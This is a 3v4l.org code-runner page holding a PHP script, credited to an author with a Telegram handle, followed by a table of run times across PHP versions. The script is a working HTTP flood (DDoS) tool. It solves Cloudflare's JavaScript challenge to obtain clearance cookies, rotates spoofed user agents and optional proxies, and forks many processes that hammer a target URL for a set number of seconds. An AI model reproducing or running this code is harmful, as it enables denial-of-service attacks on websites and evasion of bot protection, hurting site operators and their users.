3v4l.org

run code in 300+ PHP versions simultaneously
<?php error_reporting(E_ERROR); //color class just to make it nice [not mine] class Colors { private $foreground_colors = array(); private $background_colors = array(); public function __construct() { $this->foreground_colors['black'] = '0;30'; $this->foreground_colors['dark_gray'] = '1;30'; $this->foreground_colors['blue'] = '0;34'; $this->foreground_colors['light_blue'] = '1;34'; $this->foreground_colors['green'] = '0;32'; $this->foreground_colors['light_green'] = '1;32'; $this->foreground_colors['cyan'] = '0;36'; $this->foreground_colors['light_cyan'] = '1;36'; $this->foreground_colors['red'] = '0;31'; $this->foreground_colors['light_red'] = '1;31'; $this->foreground_colors['purple'] = '0;35'; $this->foreground_colors['light_purple'] = '1;35'; $this->foreground_colors['brown'] = '0;33'; $this->foreground_colors['yellow'] = '1;33'; $this->foreground_colors['light_gray'] = '0;37'; $this->foreground_colors['white'] = '1;37'; $this->background_colors['black'] = '40'; $this->background_colors['red'] = '41'; $this->background_colors['green'] = '42'; $this->background_colors['yellow'] = '43'; $this->background_colors['blue'] = '44'; $this->background_colors['magenta'] = '45'; $this->background_colors['cyan'] = '46'; $this->background_colors['light_gray'] = '47'; } public function getColoredString($string, $foreground_color = null, $background_color = null) { $colored_string = ""; if (isset($this->foreground_colors[$foreground_color])) { $colored_string .= "\033[" . $this->foreground_colors[$foreground_color] . "m"; } if (isset($this->background_colors[$background_color])) { $colored_string .= "\033[" . $this->background_colors[$background_color] . "m"; } $colored_string .= $string . "\033[0m"; return $colored_string; } public function getForegroundColors() { return array_keys($this->foreground_colors); } public function getBackgroundColors() { return array_keys($this->background_colors); } } $colors = new Colors(); $temp_name = time() . "_" . rand(1000, 9999); //user agents $uas = ["Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3", "Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0", "Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0", "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0", "Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0", "Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)", "Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)", "Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00", "Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14", "Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14", "Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02", "Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00", "Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00", "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)", "HTC_Touch_3G Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; Nokia;N70)", "Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+", "Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+", "Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.115 Mobile Safari/534.11+", "Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7", "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5", "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10", "Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3", "Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",]; //cf class class CFBypass { private $html; private $url; function __construct($url, $html) { $this->url = parse_url($url); $this->html = $html; } //get how many time it has to wait function getTimeout() { if(preg_match('/}, (\d+)\);/', $this->html, $matches) !== 1) return false; return $matches[1]; } //solve the challenge function sJrs() { if(!$this->isok()) return false; $query = []; if(preg_match('/name="jschl_vc" value="([^"]+)"/', $this->html, $matches) !== 1) return false; $query['jschl_vc'] = $matches[1]; if(preg_match('/name="pass" value="([^"]+)"/', $this->html, $matches) !== 1) return false; $query['pass'] = $matches[1]; $query['jschl_answer'] = $this->sJc(); return $query['jschl_answer'] ? $this->url['scheme'] . '://' . $this->url['host'] . '/cdn-cgi/l/chk_jschl?' . http_build_query($query) : false; } //check if the cookies are ok function isok() { return strpos($this->html, '/cdn-cgi/l/chk_jschl') !== false && strpos($this->html, 'challenge-form') !== false && strpos($this->html, 'jschl_vc') !== false && strpos($this->html, 'jschl_answer') !== false; } function sJc() { if(preg_match('/{"\w+":([^}]+)};/', $this->html, $matches) !== 1) return false; $challenge = self::dJs($matches[1]); if(preg_match_all('/([+\-*])=([^;]+);/', $this->html, $matches, PREG_SET_ORDER) == 0) return false; foreach($matches as $match) { $op = $match[1]; $number = self::dJs($match[2]); if(!self::mathExec($challenge, $number, $op)) return false; } return $challenge + strlen($this->url['host']); } private static function dJs($jsInt) { if(preg_match('/^\+\(\(?([^);]+)\)\+\(([^);]+)\)\)$/', $jsInt, $matches) === 1) { return self::dJs($matches[1])*10 + self::dJs($matches[2]); } else { return substr_count($jsInt, '!![]') + substr_count($jsInt, '!+[]'); } } private static function mathExec(&$a, $b, $op) { switch($op) { case '+': $a += $b; return true; case '-': $a -= $b; return true; case '*': $a *= $b; return true; case '/': $a /= $b; return true; case '%': $a %= $b; return true; } return false; } } $host = $argv[1]; //website target $proxy = $argv[5]; // proxy file (optional) $cookies_c = 0; $threads_in = $argv[2];// how many threads $whandlers = $argv[4]; // how many cookies to generate (if proxies are set, the number of cookies will be the same of the proxies) //max timeout for the proxy validation $timeout = 2; if($proxy != null){ $proxies = explode("\n", file_get_contents($proxy)); $whandlers = max(array_keys($proxies)); } echo $colors->getColoredString("Made By Andrew\nTelegram: https://t.me/Vaiiry\n", "light_red", null) . "\n"; if(!isset($argv[1]) || !isset($argv[2]) || !isset($argv[3]) || !isset($argv[4])){ echo $colors->getColoredString("Usage: php " . $argv[0] . " [URL] [THREADS] [SECONDS] [CLIENTS_NUMBER] [PROXY_FILE]", "light_green", null) . "\n"; echo $colors->getColoredString("Example: php " . $argv[0] . " http://blunter.xyz/ 800 60 20 proxies.txt", "light_green", null) . "\n"; die(); } echo $colors->getColoredString("Warning: Using proxies the attack can be slower!", "yellow", "black") . "\n"; function Delete($path) { if (is_dir($path) === true) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path), RecursiveIteratorIterator::CHILD_FIRST); foreach ($files as $file) { if (in_array($file->getBasename(), array('.', '..')) !== true) { if ($file->isDir() === true) { rmdir($file->getPathName()); } else if (($file->isFile() === true) || ($file->isLink() === true)) { unlink($file->getPathname()); } } } return rmdir($path); } else if ((is_file($path) === true) || (is_link($path) === true)) { return unlink($path); } return false; } //get a session with given useragent proxy ready and returns the cookies function prepare($url, $ua, $proxy, $pid){ global $timeout; global $colors; global $argv; if($argv[5] != null){ if($proxy == ""){ return null; } } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_PROXY, $proxy); $result = curl_exec($ch); if(strpos($result, 'Checking your browser before accessing') === false && $result !== false){ if($proxy != NULL){ $proxy_text = " | PROXY: $proxy"; } var_dump($result); echo $colors->getColoredString('Initializing Cookies #' . $pid . $proxy_text . "\n", "light_red", null) . "\n"; preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $result, $matches); $cookiess = array('nothing' => 'nada'); return $cookiess; } $cf = new CFBypass($url, $result); if($cf->isok()) { if($proxy != NULL){ $proxy_text = " | PROXY: $proxy"; } echo $colors->getColoredString('Initializing Cookies #' . $pid . $proxy_text . "\n", "light_red", null) . "\n"; usleep($cf->getTimeout() * 1000); curl_setopt($ch, CURLOPT_URL, $cf->sJrs()); $result = curl_exec($ch); preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $result, $matches); $cookies = array(); foreach($matches[1] as $item) { parse_str($item, $cookie); $cookies = array_merge($cookies, $cookie); } } curl_close($ch); return $cookies; } //the attack function function attack($host, $threads, $end){ global $argv; $end = time() + $argv[3]; global $handlers; for($i = 0; $i < $threads; $i ++){ $pid = pcntl_fork(); if($pid == -1) { echo "Something went wrongs.\n"; exit(); } elseif($pid) { continue; } else { while($end > time()) { $flood = curl_init(); $handler = $handlers[array_rand($handlers)]; $cookies = $handler['cookies']; $ua = $handler['ua']; $cfduid = $cookies['__cfduid']; $clear = $cookies["cf_clearance"]; $cstr = "__cfduid=$cfduid; cf_clearance=$clear;"; $proxy = $handler['proxy']; //echo "IM USING $proxy\n"; curl_setopt($flood, CURLOPT_URL, $host); curl_setopt($flood, CURLOPT_RETURNTRANSFER, 1); curl_setopt($flood, CURLOPT_USERAGENT, $ua); curl_setopt($flood, CURLOPT_FOLLOWLOCATION, true); curl_setopt($flood, CURLOPT_PROXY, $proxy); curl_setopt($flood, CURLOPT_COOKIE, $cstr); $var123 = curl_exec($flood); curl_close($flood); } die(); } } for($j = 0; $j < $threads; $j++) { $pid = pcntl_wait($status); } } //save the handler to file to read it later bc the subprocess cant read the same variables function writeHandler($handler){ global $temp_name; if(!file_exists($temp_name)){ mkdir($temp_name); } $json = json_encode($handler); $hash = md5($json); $fo = fopen($temp_name . "/" . $hash . ".handler", "w"); fwrite($fo, $json); fclose($fo); } //read them function readHandlers(){ global $temp_name; if(!file_exists($temp_name)){ return NULL; } $handlers = scandir($temp_name . "/"); foreach($handlers as $handler) { if(is_file($temp_name . "/" .$handler)){ $handlers_array[] = json_decode(file_get_contents($temp_name . "/" .$handler), true); } } return $handlers_array; } //initialize for ($i = 1; $i <= $whandlers; ++$i) { $pid = pcntl_fork(); $ua = $uas[array_rand($uas)]; if (!$pid) { $cookies = prepare($host, $ua, $proxies[$i], $i); if($cookies != NULL){ $handler = array('cookies' => $cookies, 'ua' => $ua, 'proxy' => $proxies[$i]); //var_dump($cookies); writeHandler($handler); } exit($i); } } //wait all process getting ready while (pcntl_waitpid(0, $status) != -1) { $status = pcntl_wexitstatus($status); } $handlers = readHandlers(); Delete($temp_name . "/"); //var_dump($handlers); //start the attack echo $colors->getColoredString("Attack started!", "light_green", null) . "\n"; attack($host, $threads_in); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.1.40.0110.01117.67
8.1.30.0120.00417.79
8.1.20.0110.00717.79
8.1.10.0040.00717.46
8.1.00.0160.00817.50
8.0.170.0190.00017.02
8.0.160.0120.00616.95
8.0.150.0190.00016.92
8.0.140.0170.00016.98
8.0.130.0150.00317.02
8.0.120.0150.00516.91
8.0.110.0180.00017.07
8.0.100.0170.00317.03
8.0.90.0100.01017.13
8.0.80.0000.01417.03
8.0.70.0080.00416.95
8.0.60.0140.00016.98
8.0.50.0110.00316.96
8.0.30.0150.00417.08
8.0.20.0060.01417.11
8.0.10.0180.00517.22
8.0.00.0140.00817.18
7.4.280.0190.00516.64
7.4.270.0210.00316.72
7.4.260.0130.01016.65
7.4.250.0250.00816.62
7.4.240.0150.00516.62
7.4.230.0150.00616.77
7.4.220.0180.00516.69
7.4.210.0140.00916.55
7.4.200.0090.00916.62
7.4.190.0130.00416.68
7.4.180.0160.00316.70
7.4.160.0160.00516.76
7.4.150.0130.00716.54
7.4.140.0130.00816.54
7.4.130.0110.01116.57
7.4.120.0170.00416.58
7.4.110.0150.00716.63
7.4.100.0170.00616.73
7.4.90.0180.00516.47
7.4.80.0160.00416.50
7.4.70.0140.00416.61
7.4.60.0130.00616.40
7.4.50.0100.00916.53
7.4.40.0150.00516.49
7.4.30.0120.00616.65
7.4.20.0120.00716.67
7.4.10.0120.00816.52
7.4.00.0070.00916.05
7.3.330.0170.00416.46
7.3.320.0210.00516.63
7.3.310.0270.00016.43
7.3.300.0140.00816.66
7.3.290.0180.00316.44
7.3.280.0240.00016.39
7.3.270.0140.00916.56
7.3.260.0150.01116.48
7.3.250.0200.00516.49
7.3.240.0160.00916.55
7.3.230.0160.00716.49
7.3.220.0190.00716.42
7.3.210.0170.00716.41
7.3.200.0180.00516.48
7.3.190.0200.00316.49
7.3.180.0220.00316.58
7.3.170.0160.00816.47
7.3.160.0190.00616.45
7.3.150.0230.00416.51
7.3.140.0200.00416.53
7.3.130.0160.00716.53
7.3.120.0110.00915.85
7.3.110.0120.00915.91
7.3.100.0110.01016.05
7.3.90.0110.00716.15
7.3.80.0080.01115.99
7.3.70.0120.00816.03
7.3.60.0100.00915.99
7.3.50.0080.01216.12
7.3.40.0150.00416.09
7.3.30.0140.00916.05
7.3.20.0130.00817.59
7.3.10.0090.01217.79
7.3.00.0130.00917.59
7.2.340.0170.00716.54
7.2.330.0190.00716.65
7.2.320.0170.00616.64
7.2.310.0160.00816.72
7.2.300.0130.01216.63
7.2.290.0180.00716.58
7.2.280.0190.00516.68
7.2.270.0150.00616.66
7.2.260.0150.00816.59
7.2.250.0160.00716.17
7.2.240.0120.01016.25
7.2.230.0130.00616.15
7.2.220.0140.00716.16
7.2.210.0140.00716.15
7.2.200.0140.00816.15
7.2.190.0140.00816.23
7.2.180.0120.00716.22
7.2.170.0090.01216.26
7.2.160.0170.00816.79
7.2.150.0190.00518.46
7.2.140.0150.01018.32
7.2.130.0150.00918.62
7.2.120.0140.01018.54
7.2.110.0200.00418.44
7.2.100.0490.00717.29
7.2.90.0340.01217.33
7.2.80.0500.00917.24
7.2.70.0400.01017.15
7.2.60.0460.00917.33
7.2.50.0440.00717.25
7.2.40.0450.00617.38
7.2.30.0430.00917.37
7.2.20.0420.01017.44
7.2.10.0660.01017.31
7.2.00.0460.00817.38
7.1.330.0110.00916.88
7.1.320.0110.00916.94
7.1.310.0100.00916.93
7.1.300.0090.01016.84
7.1.290.0120.00516.89
7.1.280.0120.00716.73
7.1.270.0090.01116.86
7.1.260.0120.00616.83
7.1.250.0160.00517.19
7.1.240.0160.00417.26
7.1.230.0150.00617.35
7.1.220.0420.00716.26
7.1.210.0470.00716.34
7.1.200.0480.00716.26
7.1.190.0380.00716.28
7.1.180.0510.00716.21
7.1.170.0390.01016.27
7.1.160.0380.00616.25
7.1.150.0380.00616.15
7.1.140.0460.00816.18
7.1.130.0480.01016.18
7.1.120.0470.00516.26
7.1.110.0360.01016.22
7.1.100.0370.01016.26
7.1.90.0520.00716.19
7.1.80.0530.00616.17
7.1.70.0460.00716.11
7.1.60.0380.01322.31
7.1.50.0390.00822.32
7.1.40.0370.00722.20
7.1.30.0480.01122.22
7.1.20.0450.00922.13
7.1.10.0480.00316.24
7.1.00.0360.00616.08
7.0.330.0100.01017.03
7.0.320.0140.00716.95
7.0.310.0140.00717.03
7.0.300.0130.00716.93
7.0.290.0140.00617.02
7.0.280.0160.00516.93
7.0.270.0140.00517.03
7.0.260.0110.01017.03
7.0.250.0150.00717.08
7.0.240.0180.00317.09
7.0.230.0110.01117.15
7.0.220.0170.00417.12
7.0.210.0120.00717.04
7.0.200.0130.00717.07
7.0.190.0170.00216.95
7.0.180.0100.00917.11
7.0.170.0140.00617.06
7.0.160.0120.00816.96
7.0.150.0150.00616.97
7.0.140.0160.00517.04
7.0.130.0150.00617.10
7.0.120.0100.01017.07
7.0.110.0190.00317.04
7.0.100.0150.00817.04
7.0.90.0120.00717.03
7.0.80.0180.00316.98
7.0.70.0130.00716.97
7.0.60.0180.00317.08
7.0.50.0180.00216.90
7.0.40.0120.01017.07
7.0.30.0160.00617.13
7.0.20.0150.00817.04
7.0.10.0190.00317.07
7.0.00.0180.00417.03
5.6.400.0110.01116.00
5.6.390.0140.00615.92
5.6.380.0130.00715.40
5.6.370.0130.01016.04
5.6.360.0190.00515.99
5.6.350.0170.00515.93
5.6.340.0090.01115.93
5.6.330.0160.00615.96
5.6.320.0090.01316.11
5.6.310.0120.00816.05
5.6.300.0180.00515.96
5.6.290.0170.00615.94
5.6.280.0150.00816.01
5.6.270.0160.00916.01
5.6.260.0110.01316.05
5.6.250.0160.00715.99
5.6.240.0110.01216.14
5.6.230.0180.00316.11
5.6.220.0250.00116.01
5.6.210.0140.00816.20
5.6.200.0150.00716.11
5.6.190.0190.00916.17
5.6.180.0130.01116.17
5.6.170.0150.00616.23
5.6.160.0190.00516.29
5.6.150.0170.00716.23
5.6.140.0180.00516.10
5.6.130.0120.01116.08
5.6.120.0150.01016.09
5.6.110.0150.00916.06
5.6.100.0160.00716.02
5.6.90.0190.00516.05
5.6.80.0170.00316.04
5.6.70.0160.00516.09
5.6.60.0180.00816.14
5.6.50.0070.01515.96
5.6.40.0170.00615.96
5.6.30.0130.00915.94
5.6.20.0130.01015.94
5.6.10.0170.00516.00
5.6.00.0120.00916.04

preferences:
14.96 ms | 406 KiB | 5 Q